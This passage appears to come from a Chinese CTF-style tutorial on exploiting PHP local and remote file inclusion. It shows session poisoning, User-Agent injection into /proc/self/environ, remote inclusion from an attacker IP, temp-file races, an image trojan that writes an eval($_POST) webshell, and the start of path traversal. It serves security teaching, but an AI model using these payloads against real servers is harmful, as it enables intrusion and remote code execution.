●/var/lib/php/sess_PHPSESSID
●/var/lib/php/sess_PHPSESSID
●/tmp/sess_PHPSESSID
●/tmp/sessions/sess_PHPSESSID
●session文件格式: sess_[phpsessid] ,而 phpsessid 在发送的请求的 cookie 字段中可以看到。
示例:
<?php
session_start();
$ctfs=$_GET[\'ctfs\'];
$_SESSION["username"]=$ctfs;
?>
漏洞分析
此php会将获取到的GET型ctfs变量的值存入到session中。
当访问?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。
session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取。
所以session的文件名为sess_akp79gfiedh13ho11i6f3sm6s6。
到服务器的/var/lib/php/session目录下查看果然存在此文件,内容为:
username|s:4:"ctfs";
[root@c21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6
username|s:4:"ctfs"
漏洞利用
通过上面的分析,可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。
当访问?ctfs=<?php phpinfo();?>后,会在/var/lib/php/session目录下存储session的值。
[root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1a
username|s:18:"<?php phpinfo();?>";
攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。
4.包含/pros/self/environ的漏洞proc/self/environ中会保存user-agent头,如果在user-agent中插入php代码,则php代码会被写入到environ中,之后再包含它,即可。
利用条件:
php以cgi方式运行,这样environ才会保持UA头。
environ文件存储位置已知,且environ文件可读。
5.无限制远程文件包含漏洞
测试代码:
<?php $filename = $_GET[\'filename\']; include($filename); ?>通过远程文件包含漏洞,包含php.txt可以解析http://www.ctfs-wiki.com/FI/FI.php?filename=http://192.168.91.133/FI/php.txt
测试结果:
6.包含临时文件
php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。
由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。
另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。这个方法可以参考LFI With PHPInfo Assistance
7.包含上传文件
很多网站通常会提供文件上传功能,比如:上传头像、文档等,这时就可以采取上传一句话图片木马的方式进行包含。
图片马的制作方式如下:
先进入1.jph和2.php的文件目录后,执行:
copy 1.jpg/b+2.php 3.jpg(将图片1.jpg和包含php代码的2.php文件合并生成图片马3.jpg)
假设已经上传一句话图片木马到服务器,路径为/upload/201811.jpg
图片代码如下:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[\'pass\']);?>")?>
然后访问URL:?page=./upload/201811.jpg,将会在index.php所在的目录下生成shell.php
五.绕过方法
1.指定前缀绕过
(1)目录遍历
使用 ../../ 来返回上一目录,被称为目录遍历(Path Traversal)。例如 ?file=../../phpinfo/phpinfo.php
测试代码如下: